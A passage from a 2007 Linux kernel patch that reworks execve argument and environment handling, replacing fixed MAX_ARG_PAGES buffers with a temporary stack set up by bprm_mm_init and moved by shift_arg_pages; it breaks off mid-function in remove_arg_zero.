-int ia32_setup_arg_pages(struct linux_binprm *bprm, unsigned long stack_top, int executable_stack);
 
 #undef start_thread
 #define start_thread(regs,new_rip,new_rsp) do { \
@@ -286,61 +283,6 @@ static void elf32_init(struct pt_regs *r
 	me->thread.es = __USER_DS;
 }
 
-int ia32_setup_arg_pages(struct linux_binprm *bprm, unsigned long stack_top,
-			 int executable_stack)
-{
-	unsigned long stack_base;
-	struct vm_area_struct *mpnt;
-	struct mm_struct *mm = current->mm;
-	int i, ret;
-
-	stack_base = stack_top - MAX_ARG_PAGES * PAGE_SIZE;
-	mm->arg_start = bprm->p + stack_base;
-
-	bprm->p += stack_base;
-	if (bprm->loader)
-		bprm->loader += stack_base;
-	bprm->exec += stack_base;
-
-	mpnt = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
-	if (!mpnt) 
-		return -ENOMEM; 
-
-	down_write(&mm->mmap_sem);
-	{
-		mpnt->vm_mm = mm;
-		mpnt->vm_start = PAGE_MASK & (unsigned long) bprm->p;
-		mpnt->vm_end = stack_top;
-		if (executable_stack == EXSTACK_ENABLE_X)
-			mpnt->vm_flags = VM_STACK_FLAGS |  VM_EXEC;
-		else if (executable_stack == EXSTACK_DISABLE_X)
-			mpnt->vm_flags = VM_STACK_FLAGS & ~VM_EXEC;
-		else
-			mpnt->vm_flags = VM_STACK_FLAGS;
- 		mpnt->vm_page_prot = (mpnt->vm_flags & VM_EXEC) ? 
- 			PAGE_COPY_EXEC : PAGE_COPY;
-		if ((ret = insert_vm_struct(mm, mpnt))) {
-			up_write(&mm->mmap_sem);
-			kmem_cache_free(vm_area_cachep, mpnt);
-			return ret;
-		}
-		mm->stack_vm = mm->total_vm = vma_pages(mpnt);
-	} 
-
-	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
-		struct page *page = bprm->page[i];
-		if (page) {
-			bprm->page[i] = NULL;
-			install_arg_page(mpnt, page, stack_base);
-		}
-		stack_base += PAGE_SIZE;
-	}
-	up_write(&mm->mmap_sem);
-	
-	return 0;
-}
-EXPORT_SYMBOL(ia32_setup_arg_pages);
-
 #ifdef CONFIG_SYSCTL
 /* Register vsyscall32 into the ABI table */
 #include <linux/sysctl.h>
Index: linux-2.6-2/fs/binfmt_elf.c
===================================================================
--- linux-2.6-2.orig/fs/binfmt_elf.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/fs/binfmt_elf.c	2007-06-05 16:29:45.000000000 +0200
@@ -148,6 +148,7 @@ create_elf_tables(struct linux_binprm *b
 	elf_addr_t *elf_info;
 	int ei_index = 0;
 	struct task_struct *tsk = current;
+	struct vm_area_struct *vma;
 
 	/*
 	 * If this architecture has a platform capability string, copy it
@@ -234,6 +235,15 @@ create_elf_tables(struct linux_binprm *b
 	sp = (elf_addr_t __user *)bprm->p;
 #endif
 
+
+	/*
+	 * Grow the stack manually; some architectures have a limit on how
+	 * far ahead a user-space access may be in order to grow the stack.
+	 */
+	vma = find_extend_vma(current->mm, bprm->p);
+	if (!vma)
+		return -EFAULT;
+
 	/* Now, let's put argc (and argv, envp if appropriate) on the stack */
 	if (__put_user(argc, sp++))
 		return -EFAULT;
@@ -254,8 +264,8 @@ create_elf_tables(struct linux_binprm *b
 		size_t len;
 		if (__put_user((elf_addr_t)p, argv++))
 			return -EFAULT;
-		len = strnlen_user((void __user *)p, PAGE_SIZE*MAX_ARG_PAGES);
-		if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
+		len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
+		if (!len || len > MAX_ARG_STRLEN)
 			return 0;
 		p += len;
 	}
@@ -266,8 +276,8 @@ create_elf_tables(struct linux_binprm *b
 		size_t len;
 		if (__put_user((elf_addr_t)p, envp++))
 			return -EFAULT;
-		len = strnlen_user((void __user *)p, PAGE_SIZE*MAX_ARG_PAGES);
-		if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
+		len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
+		if (!len || len > MAX_ARG_STRLEN)
 			return 0;
 		p += len;
 	}
@@ -777,10 +787,6 @@ static int load_elf_binary(struct linux_
 	}
 
 	/* OK, This is the point of no return */
-	current->mm->start_data = 0;
-	current->mm->end_data = 0;
-	current->mm->end_code = 0;
-	current->mm->mmap = NULL;
 	current->flags &= ~PF_FORKNOEXEC;
 	current->mm->def_flags = def_flags;
 
@@ -988,9 +994,13 @@ static int load_elf_binary(struct linux_
 
 	compute_creds(bprm);
 	current->flags &= ~PF_FORKNOEXEC;
-	create_elf_tables(bprm, &loc->elf_ex,
+	retval = create_elf_tables(bprm, &loc->elf_ex,
 			  (interpreter_type == INTERPRETER_AOUT),
 			  load_addr, interp_load_addr);
+	if (retval < 0) {
+		send_sig(SIGKILL, current, 0);
+		goto out;
+	}
 	/* N.B. passed_fileno might not be initialized? */
 	if (interpreter_type == INTERPRETER_AOUT)
 		current->mm->arg_start += strlen(passed_fileno) + 1;
Index: linux-2.6-2/fs/binfmt_elf_fdpic.c
===================================================================
--- linux-2.6-2.orig/fs/binfmt_elf_fdpic.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/fs/binfmt_elf_fdpic.c	2007-06-05 16:29:45.000000000 +0200
@@ -621,8 +621,8 @@ static int create_elf_fdpic_tables(struc
 	p = (char __user *) current->mm->arg_start;
 	for (loop = bprm->argc; loop > 0; loop--) {
 		__put_user((elf_caddr_t) p, argv++);
-		len = strnlen_user(p, PAGE_SIZE * MAX_ARG_PAGES);
-		if (!len || len > PAGE_SIZE * MAX_ARG_PAGES)
+		len = strnlen_user(p, MAX_ARG_STRLEN);
+		if (!len || len > MAX_ARG_STRLEN)
 			return -EINVAL;
 		p += len;
 	}
@@ -633,8 +633,8 @@ static int create_elf_fdpic_tables(struc
 	current->mm->env_start = (unsigned long) p;
 	for (loop = bprm->envc; loop > 0; loop--) {
 		__put_user((elf_caddr_t)(unsigned long) p, envp++);
-		len = strnlen_user(p, PAGE_SIZE * MAX_ARG_PAGES);
-		if (!len || len > PAGE_SIZE * MAX_ARG_PAGES)
+		len = strnlen_user(p, MAX_ARG_STRLEN);
+		if (!len || len > MAX_ARG_STRLEN)
 			return -EINVAL;
 		p += len;
 	}
Index: linux-2.6-2/fs/binfmt_misc.c
===================================================================
--- linux-2.6-2.orig/fs/binfmt_misc.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/fs/binfmt_misc.c	2007-06-05 16:29:45.000000000 +0200
@@ -126,7 +126,9 @@ static int load_misc_binary(struct linux
 		goto _ret;
 
 	if (!(fmt->flags & MISC_FMT_PRESERVE_ARGV0)) {
-		remove_arg_zero(bprm);
+		retval = remove_arg_zero(bprm);
+		if (retval)
+			goto _ret;
 	}
 
 	if (fmt->flags & MISC_FMT_OPEN_BINARY) {
Index: linux-2.6-2/fs/binfmt_script.c
===================================================================
--- linux-2.6-2.orig/fs/binfmt_script.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/fs/binfmt_script.c	2007-06-05 16:29:45.000000000 +0200
@@ -67,7 +67,9 @@ static int load_script(struct linux_binp
 	 * This is done in reverse order, because of how the
 	 * user environment and arguments are stored.
 	 */
-	remove_arg_zero(bprm);
+	retval = remove_arg_zero(bprm);
+	if (retval)
+		return retval;
 	retval = copy_strings_kernel(1, &bprm->interp, bprm);
 	if (retval < 0) return retval; 
 	bprm->argc++;
Index: linux-2.6-2/fs/compat.c
===================================================================
--- linux-2.6-2.orig/fs/compat.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/fs/compat.c	2007-06-05 16:29:45.000000000 +0200
@@ -1257,6 +1257,7 @@ static int compat_copy_strings(int argc,
 {
 	struct page *kmapped_page = NULL;
 	char *kaddr = NULL;
+	unsigned long kpos = 0;
 	int ret;
 
 	while (argc-- > 0) {
@@ -1265,92 +1266,84 @@ static int compat_copy_strings(int argc,
 		unsigned long pos;
 
 		if (get_user(str, argv+argc) ||
-			!(len = strnlen_user(compat_ptr(str), bprm->p))) {
+		    !(len = strnlen_user(compat_ptr(str), MAX_ARG_STRLEN))) {
 			ret = -EFAULT;
 			goto out;
 		}
 
-		if (bprm->p < len)  {
+		if (MAX_ARG_STRLEN < len) {
 			ret = -E2BIG;
 			goto out;
 		}
 
-		bprm->p -= len;
-		/* XXX: add architecture specific overflow check here. */
+		/* We're going to work our way backwords. */
 		pos = bprm->p;
+		str += len;
+		bprm->p -= len;
 
 		while (len > 0) {
-			int i, new, err;
 			int offset, bytes_to_copy;
-			struct page *page;
 
 			offset = pos % PAGE_SIZE;
-			i = pos/PAGE_SIZE;
-			page = bprm->page[i];
-			new = 0;
-			if (!page) {
-				page = alloc_page(GFP_HIGHUSER);
-				bprm->page[i] = page;
-				if (!page) {
-					ret = -ENOMEM;
+			if (offset == 0)
+				offset = PAGE_SIZE;
+
+			bytes_to_copy = offset;
+			if (bytes_to_copy > len)
+				bytes_to_copy = len;
+
+			offset -= bytes_to_copy;
+			pos -= bytes_to_copy;
+			str -= bytes_to_copy;
+			len -= bytes_to_copy;
+
+			if (!kmapped_page || kpos != (pos & PAGE_MASK)) {
+				struct page *page;
+
+#ifdef CONFIG_STACK_GROWSUP
+				ret = expand_downwards(bprm->vma, pos);
+				if (ret < 0) {
+					/* We've exceed the stack rlimit. */
+					ret = -E2BIG;
+					goto out;
+				}
+#endif
+				ret = get_user_pages(current, bprm->mm, pos,
+						     1, 1, 1, &page, NULL);
+				if (ret <= 0) {
+					/* We've exceed the stack rlimit. */
+					ret = -E2BIG;
 					goto out;
 				}
-				new = 1;
-			}
 
-			if (page != kmapped_page) {
-				if (kmapped_page)
+				if (kmapped_page) {
+					flush_kernel_dcache_page(kmapped_page);
 					kunmap(kmapped_page);
+					put_page(kmapped_page);
+				}
 				kmapped_page = page;
 				kaddr = kmap(kmapped_page);
+				kpos = pos & PAGE_MASK;
+				flush_cache_page(bprm->vma, kpos,
+						 page_to_pfn(kmapped_page));
 			}
-			if (new && offset)
-				memset(kaddr, 0, offset);
-			bytes_to_copy = PAGE_SIZE - offset;
-			if (bytes_to_copy > len) {
-				bytes_to_copy = len;
-				if (new)
-					memset(kaddr+offset+len, 0,
-						PAGE_SIZE-offset-len);
-			}
-			err = copy_from_user(kaddr+offset, compat_ptr(str),
-						bytes_to_copy);
-			if (err) {
+			if (copy_from_user(kaddr+offset, compat_ptr(str),
+						bytes_to_copy)) {
 				ret = -EFAULT;
 				goto out;
 			}
-
-			pos += bytes_to_copy;
-			str += bytes_to_copy;
-			len -= bytes_to_copy;
 		}
 	}
 	ret = 0;
 out:
-	if (kmapped_page)
+	if (kmapped_page) {
+		flush_kernel_dcache_page(kmapped_page);
 		kunmap(kmapped_page);
-	return ret;
-}
-
-#ifdef CONFIG_MMU
-
-#define free_arg_pages(bprm) do { } while (0)
-
-#else
-
-static inline void free_arg_pages(struct linux_binprm *bprm)
-{
-	int i;
-
-	for (i = 0; i < MAX_ARG_PAGES; i++) {
-		if (bprm->page[i])
-			__free_page(bprm->page[i]);
-		bprm->page[i] = NULL;
+		put_page(kmapped_page);
 	}
+	return ret;
 }
 
-#endif /* CONFIG_MMU */
-
 /*
  * compat_do_execve() is mostly a copy of do_execve(), with the exception
  * that it processes 32 bit argv and envp pointers.
@@ -1363,7 +1356,6 @@ int compat_do_execve(char * filename,
 	struct linux_binprm *bprm;
 	struct file *file;
 	int retval;
-	int i;
 
 	retval = -ENOMEM;
 	bprm = kzalloc(sizeof(*bprm), GFP_KERNEL);
@@ -1377,24 +1369,19 @@ int compat_do_execve(char * filename,
 
 	sched_exec();
 
-	bprm->p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
 	bprm->file = file;
 	bprm->filename = filename;
 	bprm->interp = filename;
-	bprm->mm = mm_alloc();
-	retval = -ENOMEM;
-	if (!bprm->mm)
-		goto out_file;
 
-	retval = init_new_context(current, bprm->mm);
-	if (retval < 0)
-		goto out_mm;
+	retval = bprm_mm_init(bprm);
+	if (retval)
+		goto out_file;
 
-	bprm->argc = compat_count(argv, bprm->p / sizeof(compat_uptr_t));
+	bprm->argc = compat_count(argv, MAX_ARG_STRINGS);
 	if ((retval = bprm->argc) < 0)
 		goto out_mm;
 
-	bprm->envc = compat_count(envp, bprm->p / sizeof(compat_uptr_t));
+	bprm->envc = compat_count(envp, MAX_ARG_STRINGS);
 	if ((retval = bprm->envc) < 0)
 		goto out_mm;
 
@@ -1419,10 +1406,8 @@ int compat_do_execve(char * filename,
 	if (retval < 0)
 		goto out;
 
-	retval = search_binary_handler(bprm, regs);
+	retval = search_binary_handler(bprm,regs);
 	if (retval >= 0) {
-		free_arg_pages(bprm);
-
 		/* execve success */
 		security_bprm_free(bprm);
 		acct_update_integrals(current);
@@ -1431,19 +1416,12 @@ int compat_do_execve(char * filename,
 	}
 
 out:
-	/* Something went wrong, return the inode and free the argument pages*/
-	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
-		struct page * page = bprm->page[i];
-		if (page)
-			__free_page(page);
-	}
-
 	if (bprm->security)
 		security_bprm_free(bprm);
 
 out_mm:
 	if (bprm->mm)
-		mmdrop(bprm->mm);
+		mmput (bprm->mm);
 
 out_file:
 	if (bprm->file) {
Index: linux-2.6-2/fs/exec.c
===================================================================
--- linux-2.6-2.orig/fs/exec.c	2007-06-05 16:29:41.000000000 +0200
+++ linux-2.6-2/fs/exec.c	2007-06-05 16:29:45.000000000 +0200
@@ -54,6 +54,7 @@
 
 #include <asm/uaccess.h>
 #include <asm/mmu_context.h>
+#include <asm/tlb.h>
 
 #ifdef CONFIG_KMOD
 #include <linux/kmod.h>
@@ -178,6 +179,157 @@ exit:
 	goto out;
 }
 
+#ifdef CONFIG_MMU
+
+static struct page *get_arg_page(struct linux_binprm *bprm, unsigned long pos,
+		int write)
+{
+	struct page *page;
+	int ret;
+
+#ifdef CONFIG_STACK_GROWSUP
+	if (write) {
+		ret = expand_downwards(bprm->vma, pos);
+		if (ret < 0)
+			return NULL;
+	}
+#endif
+	ret = get_user_pages(current, bprm->mm, pos,
+			1, write, 1, &page, NULL);
+	if (ret <= 0)
+		return NULL;
+
+	return page;
+}
+
+static void put_arg_page(struct page *page)
+{
+	put_page(page);
+}
+
+static void free_arg_page(struct linux_binprm *bprm, int i)
+{
+}
+
+static void free_arg_pages(struct linux_binprm *bprm)
+{
+}
+
+#else
+
+static struct page *get_arg_page(struct linux_binprm *bprm, unsigned long pos,
+		int write)
+{
+	struct page *page;
+
+	page = bprm->page[pos / PAGE_SIZE];
+	if (!page && write) {
+		page = alloc_page(GFP_HIGHUSER|__GFP_ZERO);
+		if (!page)
+			return NULL;
+		bprm->page[pos / PAGE_SIZE] = page;
+	}
+
+	return page;
+}
+
+static void put_arg_page(struct page *page)
+{
+}
+
+static void free_arg_page(struct linux_binprm *bprm, int i)
+{
+	if (bprm->page[i]) {
+		__free_page(bprm->page[i]);
+		bprm->page[i] = NULL;
+	}
+}
+
+static void free_arg_pages(struct linux_binprm *bprm)
+{
+	int i;
+
+	for (i = 0; i < MAX_ARG_PAGES; i++)
+		free_arg_page(bprm, i);
+}
+
+#endif /* CONFIG_MMU */
+
+/*
+ * Create a new mm_struct and populate it with a temporary stack
+ * vm_area_struct.  We don't have enough context at this point to set the stack
+ * flags, permissions, and offset, so we use temporary values.  We'll update
+ * them later in setup_arg_pages().
+ */
+int bprm_mm_init(struct linux_binprm *bprm)
+{
+	int err;
+	struct mm_struct *mm = NULL;
+	struct vm_area_struct *vma = NULL;
+
+	bprm->mm = mm = mm_alloc();
+	err = -ENOMEM;
+	if (!mm)
+		goto err;
+
+	if ((err = init_new_context(current, mm)))
+		goto err;
+
+#ifdef CONFIG_MMU
+	bprm->vma = vma = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
+	err = -ENOMEM;
+	if (!vma)
+		goto err;
+
+	down_write(&mm->mmap_sem);
+	{
+		vma->vm_mm = mm;
+
+		/*
+		 * Place the stack at the top of user memory.  Later, we'll
+		 * move this to an appropriate place.  We don't use STACK_TOP
+		 * because that can depend on attributes which aren't
+		 * configured yet.
+		 */
+		vma->vm_end = STACK_TOP_MAX;
+		vma->vm_start = vma->vm_end - PAGE_SIZE;
+
+		vma->vm_flags = VM_STACK_FLAGS;
+		vma->vm_page_prot = protection_map[vma->vm_flags & 0x7];
+		if ((err = insert_vm_struct(mm, vma))) {
+			up_write(&mm->mmap_sem);
+			goto err;
+		}
+
+		mm->stack_vm = mm->total_vm = 1;
+	}
+	up_write(&mm->mmap_sem);
+
+	bprm->p = vma->vm_end - sizeof(void *);
+#else
+	bprm->p = PAGE_SIZE * MAX_ARG_PAGES - sizeof(void *);
+#endif
+
+	return 0;
+
+err:
+#ifdef CONFIG_MMU
+	if (vma) {
+		bprm->vma = NULL;
+		kmem_cache_free(vm_area_cachep, vma);
+	}
+#endif
+
+	if (mm) {
+		bprm->mm = NULL;
+		mmdrop(mm);
+	}
+
+	return err;
+}
+
+EXPORT_SYMBOL(bprm_mm_init);
+
 /*
  * count() counts the number of strings in array ARGV.
  */
@@ -203,15 +355,16 @@ static int count(char __user * __user * 
 }
 
 /*
- * 'copy_strings()' copies argument/environment strings from user
- * memory to free pages in kernel mem. These are in a format ready
- * to be put directly into the top of new user memory.
+ * 'copy_strings()' copies argument/environment strings from the old
+ * processes's memory to the new process's stack.  The call to get_user_pages()
+ * ensures the destination page is created and not swapped out.
  */
 static int copy_strings(int argc, char __user * __user * argv,
 			struct linux_binprm *bprm)
 {
 	struct page *kmapped_page = NULL;
 	char *kaddr = NULL;
+	unsigned long kpos = 0;
 	int ret;
 
 	while (argc-- > 0) {
@@ -220,69 +373,77 @@ static int copy_strings(int argc, char _
 		unsigned long pos;
 
 		if (get_user(str, argv+argc) ||
-				!(len = strnlen_user(str, bprm->p))) {
+				!(len = strnlen_user(str, MAX_ARG_STRLEN))) {
 			ret = -EFAULT;
 			goto out;
 		}
 
-		if (bprm->p < len)  {
+#ifdef CONFIG_MMU
+		if (MAX_ARG_STRLEN < len) {
+			ret = -E2BIG;
+			goto out;
+		}
+#else
+		if (bprm->p < len) {
 			ret = -E2BIG;
 			goto out;
 		}
+#endif
 
-		bprm->p -= len;
-		/* XXX: add architecture specific overflow check here. */
+		/* We're going to work our way backwords. */
 		pos = bprm->p;
+		str += len;
+		bprm->p -= len;
 
 		while (len > 0) {
-			int i, new, err;
 			int offset, bytes_to_copy;
-			struct page *page;
 
 			offset = pos % PAGE_SIZE;
-			i = pos/PAGE_SIZE;
-			page = bprm->page[i];
-			new = 0;
-			if (!page) {
-				page = alloc_page(GFP_HIGHUSER);
-				bprm->page[i] = page;
+			if (offset == 0)
+				offset = PAGE_SIZE;
+
+			bytes_to_copy = offset;
+			if (bytes_to_copy > len)
+				bytes_to_copy = len;
+
+			offset -= bytes_to_copy;
+			pos -= bytes_to_copy;
+			str -= bytes_to_copy;
+			len -= bytes_to_copy;
+
+			if (!kmapped_page || kpos != (pos & PAGE_MASK)) {
+				struct page *page;
+
+				page = get_arg_page(bprm, pos, 1);
 				if (!page) {
-					ret = -ENOMEM;
+					ret = -E2BIG;
 					goto out;
 				}
-				new = 1;
-			}
 
-			if (page != kmapped_page) {
-				if (kmapped_page)
+				if (kmapped_page) {
+					flush_kernel_dcache_page(kmapped_page);
 					kunmap(kmapped_page);
+					put_arg_page(kmapped_page);
+				}
 				kmapped_page = page;
 				kaddr = kmap(kmapped_page);
+				kpos = pos & PAGE_MASK;
+				flush_cache_page(bprm->vma, kpos,
+						 page_to_pfn(kmapped_page));
 			}
-			if (new && offset)
-				memset(kaddr, 0, offset);
-			bytes_to_copy = PAGE_SIZE - offset;
-			if (bytes_to_copy > len) {
-				bytes_to_copy = len;
-				if (new)
-					memset(kaddr+offset+len, 0,
-						PAGE_SIZE-offset-len);
-			}
-			err = copy_from_user(kaddr+offset, str, bytes_to_copy);
-			if (err) {
+			if (copy_from_user(kaddr+offset, str, bytes_to_copy)) {
 				ret = -EFAULT;
 				goto out;
 			}
-
-			pos += bytes_to_copy;
-			str += bytes_to_copy;
-			len -= bytes_to_copy;
 		}
 	}
 	ret = 0;
 out:
-	if (kmapped_page)
+	if (kmapped_page) {
+		flush_kernel_dcache_page(kmapped_page);
 		kunmap(kmapped_page);
+		put_arg_page(kmapped_page);
+	}
 	return ret;
 }
 
@@ -302,154 +463,157 @@ int copy_strings_kernel(int argc,char **
 EXPORT_SYMBOL(copy_strings_kernel);
 
 #ifdef CONFIG_MMU
-/*
- * This routine is used to map in a page into an address space: needed by
- * execve() for the initial stack and environment pages.
- *
- * vma->vm_mm->mmap_sem is held for writing.
- */
-void install_arg_page(struct vm_area_struct *vma,
-			struct page *page, unsigned long address)
+
+static int shift_arg_pages(struct vm_area_struct *vma, unsigned long shift)
 {
 	struct mm_struct *mm = vma->vm_mm;
-	pte_t * pte;
-	spinlock_t *ptl;
+	unsigned long old_start = vma->vm_start;
+	unsigned long old_end = vma->vm_end;
+	unsigned long length = old_end - old_start;
+	unsigned long new_start = old_start + shift;
+	unsigned long new_end = old_end + shift;
+	struct mmu_gather *tlb;
+
+	BUG_ON(new_start > new_end);
+
+	if (new_start < old_start) {
+		if (vma != find_vma(mm, new_start))
+			return -EFAULT;
+
+		vma_adjust(vma, new_start, old_end,
+			   vma->vm_pgoff - (-shift >> PAGE_SHIFT), NULL);
+
+		if (length != move_page_tables(vma, old_start,
+					       vma, new_start, length))
+			return -ENOMEM;
+
+		lru_add_drain();
+		tlb = tlb_gather_mmu(mm, 0);
+		if (new_end > old_start)
+			free_pgd_range(&tlb, new_end, old_end, new_end,
+				vma->vm_next ? vma->vm_next->vm_start : 0);
+		else
+			free_pgd_range(&tlb, old_start, old_end, new_end,
+				vma->vm_next ? vma->vm_next->vm_start : 0);
+		tlb_finish_mmu(tlb, new_end, old_end);
 
-	if (unlikely(anon_vma_prepare(vma)))
-		goto out;
+		vma_adjust(vma, new_start, new_end, vma->vm_pgoff, NULL);
+	} else {
+		struct vm_area_struct *tmp, *prev;
 
-	flush_dcache_page(page);
-	pte = get_locked_pte(mm, address, &ptl);
-	if (!pte)
-		goto out;
-	if (!pte_none(*pte)) {
-		pte_unmap_unlock(pte, ptl);
-		goto out;
+		tmp = find_vma_prev(mm, new_end, &prev);
+		if ((tmp && tmp->vm_start < new_end) || prev != vma)
+			return -EFAULT;
+
+		find_vma_prev(mm, vma->vm_start, &prev);
+
+		vma_adjust(vma, old_start, new_end, vma->vm_pgoff, NULL);
+
+		if (length != move_page_tables_up(vma, old_start,
+					       vma, new_start, length))
+			return -ENOMEM;
+
+		lru_add_drain();
+		tlb = tlb_gather_mmu(mm, 0);
+		free_pgd_range(&tlb, old_start, new_start,
+			       prev ? prev->vm_end: 0, new_start);
+		tlb_finish_mmu(tlb, old_start, new_start);
+
+		vma_adjust(vma, new_start, new_end,
+			   vma->vm_pgoff + (shift >> PAGE_SHIFT), NULL);
 	}
-	inc_mm_counter(mm, anon_rss);
-	lru_cache_add_active(page);
-	set_pte_at(mm, address, pte, pte_mkdirty(pte_mkwrite(mk_pte(
-					page, vma->vm_page_prot))));
-	page_add_new_anon_rmap(page, vma, address);
-	pte_unmap_unlock(pte, ptl);
 
-	/* no need for flush_tlb */
-	return;
-out:
-	__free_page(page);
-	force_sig(SIGKILL, current);
+	return 0;
 }
 
 #define EXTRA_STACK_VM_PAGES	20	/* random */
 
+/* Finalizes the stack vm_area_struct.  The flags and permissions are updated,
+ * the stack is optionally relocated, and some extra space is added.
+ */
 int setup_arg_pages(struct linux_binprm *bprm,
 		    unsigned long stack_top,
 		    int executable_stack)
 {
-	unsigned long stack_base;
-	struct vm_area_struct *mpnt;
+	unsigned long ret;
+	unsigned long stack_base, stack_shift;
 	struct mm_struct *mm = current->mm;
-	int i, ret;
-	long arg_size;
+	struct vm_area_struct *vma = bprm->vma;
 
 #ifdef CONFIG_STACK_GROWSUP
-	/* Move the argument and environment strings to the bottom of the
-	 * stack space.
-	 */
-	int offset, j;
-	char *to, *from;
-
-	/* Start by shifting all the pages down */
-	i = 0;
-	for (j = 0; j < MAX_ARG_PAGES; j++) {
-		struct page *page = bprm->page[j];
-		if (!page)
-			continue;
-		bprm->page[i++] = page;
-	}
-
-	/* Now move them within their pages */
-	offset = bprm->p % PAGE_SIZE;
-	to = kmap(bprm->page[0]);
-	for (j = 1; j < i; j++) {
-		memmove(to, to + offset, PAGE_SIZE - offset);
-		from = kmap(bprm->page[j]);
-		memcpy(to + PAGE_SIZE - offset, from, offset);
-		kunmap(bprm->page[j - 1]);
-		to = from;
-	}
-	memmove(to, to + offset, PAGE_SIZE - offset);
-	kunmap(bprm->page[j - 1]);
-
 	/* Limit stack size to 1GB */
 	stack_base = current->signal->rlim[RLIMIT_STACK].rlim_max;
 	if (stack_base > (1 << 30))
 		stack_base = 1 << 30;
-	stack_base = PAGE_ALIGN(stack_top - stack_base);
 
-	/* Adjust bprm->p to point to the end of the strings. */
-	bprm->p = stack_base + PAGE_SIZE * i - offset;
+	/* Make sure we didn't let the argument array grow too large. */
+	if (vma->vm_end - vma->vm_start > stack_base)
+		return -ENOMEM;
 
-	mm->arg_start = stack_base;
-	arg_size = i << PAGE_SHIFT;
+	stack_base = PAGE_ALIGN(stack_top - stack_base);
 
-	/* zero pages that were copied above */
-	while (i < MAX_ARG_PAGES)
-		bprm->page[i++] = NULL;
+	stack_shift = stack_base - vma->vm_start;
+	mm->arg_start = bprm->p + stack_shift;
+	bprm->p = vma->vm_end + stack_shift;
 #else
-	stack_base = arch_align_stack(stack_top - MAX_ARG_PAGES*PAGE_SIZE);
-	stack_base = PAGE_ALIGN(stack_base);
-	bprm->p += stack_base;
+	BUG_ON(stack_top & ~PAGE_MASK);
+
+	stack_top = arch_align_stack(stack_top);
+	stack_top = PAGE_ALIGN(stack_top);
+	stack_shift = stack_top - vma->vm_end;
+
+	bprm->p += stack_shift;
 	mm->arg_start = bprm->p;
-	arg_size = stack_top - (PAGE_MASK & (unsigned long) mm->arg_start);
 #endif
 
-	arg_size += EXTRA_STACK_VM_PAGES * PAGE_SIZE;
-
 	if (bprm->loader)
-		bprm->loader += stack_base;
-	bprm->exec += stack_base;
-
-	mpnt = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
-	if (!mpnt)
-		return -ENOMEM;
+		bprm->loader += stack_shift;
+	bprm->exec += stack_shift;
 
 	down_write(&mm->mmap_sem);
 	{
-		mpnt->vm_mm = mm;
-#ifdef CONFIG_STACK_GROWSUP
-		mpnt->vm_start = stack_base;
-		mpnt->vm_end = stack_base + arg_size;
-#else
-		mpnt->vm_end = stack_top;
-		mpnt->vm_start = mpnt->vm_end - arg_size;
-#endif
+		struct vm_area_struct *prev = NULL;
+		unsigned long vm_flags = vma->vm_flags;
+
 		/* Adjust stack execute permissions; explicitly enable
 		 * for EXSTACK_ENABLE_X, disable for EXSTACK_DISABLE_X
 		 * and leave alone (arch default) otherwise. */
 		if (unlikely(executable_stack == EXSTACK_ENABLE_X))
-			mpnt->vm_flags = VM_STACK_FLAGS |  VM_EXEC;
+			vm_flags |= VM_EXEC;
 		else if (executable_stack == EXSTACK_DISABLE_X)
-			mpnt->vm_flags = VM_STACK_FLAGS & ~VM_EXEC;
-		else
-			mpnt->vm_flags = VM_STACK_FLAGS;
-		mpnt->vm_flags |= mm->def_flags;
-		mpnt->vm_page_prot = protection_map[mpnt->vm_flags & 0x7];
-		if ((ret = insert_vm_struct(mm, mpnt))) {
+			vm_flags &= ~VM_EXEC;
+		vm_flags |= mm->def_flags;
+
+		ret = mprotect_fixup(vma, &prev, vma->vm_start, vma->vm_end,
+				vm_flags);
+		if (ret) {
 			up_write(&mm->mmap_sem);
-			kmem_cache_free(vm_area_cachep, mpnt);
 			return ret;
 		}
-		mm->stack_vm = mm->total_vm = vma_pages(mpnt);
-	}
+		BUG_ON(prev != vma);
 
-	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
-		struct page *page = bprm->page[i];
-		if (page) {
-			bprm->page[i] = NULL;
-			install_arg_page(mpnt, page, stack_base);
+		/* Move stack pages down in memory. */
+		if (stack_shift) {
+			ret = shift_arg_pages(vma, stack_shift);
+			if (ret) {
+				up_write(&mm->mmap_sem);
+				return ret;
+			}
+		}
+
+#ifdef CONFIG_STACK_GROWSUP
+		if (expand_stack(vma, vma->vm_end +
+					EXTRA_STACK_VM_PAGES * PAGE_SIZE)) {
+			up_write(&mm->mmap_sem);
+			return -EFAULT;
+		}
+#else
+		if (expand_stack(vma, vma->vm_start -
+					EXTRA_STACK_VM_PAGES * PAGE_SIZE)) {
+			up_write(&mm->mmap_sem);
+			return -EFAULT;
 		}
-		stack_base += PAGE_SIZE;
+#endif
 	}
 	up_write(&mm->mmap_sem);
 	
@@ -458,21 +622,6 @@ int setup_arg_pages(struct linux_binprm 
 
 EXPORT_SYMBOL(setup_arg_pages);
 
-#define free_arg_pages(bprm) do { } while (0)
-
-#else
-
-static inline void free_arg_pages(struct linux_binprm *bprm)
-{
-	int i;
-
-	for (i = 0; i < MAX_ARG_PAGES; i++) {
-		if (bprm->page[i])
-			__free_page(bprm->page[i]);
-		bprm->page[i] = NULL;
-	}
-}
-
 #endif /* CONFIG_MMU */
 
 struct file *open_exec(const char *name)
@@ -1000,44 +1149,44 @@ EXPORT_SYMBOL(compute_creds);
  * points to; chop off the first by relocating brpm->p to right after
  * the first '\0' encountered.
  */
-void remove_arg_zero(struct linux_binprm *bprm)
+int remove_arg_zero(struct linux_binprm *bprm)
 {
-	if (bprm->argc) {
-		char ch;
-
-		do {
-			unsigned long offset;
-			unsigned long index;
-			char *kaddr;
-			struct page *page;
-
-			offset = bprm->p & ~PAGE_MASK;
-			index = bprm->p >> PAGE_SHIFT;
-
-			page = bprm->page[index];
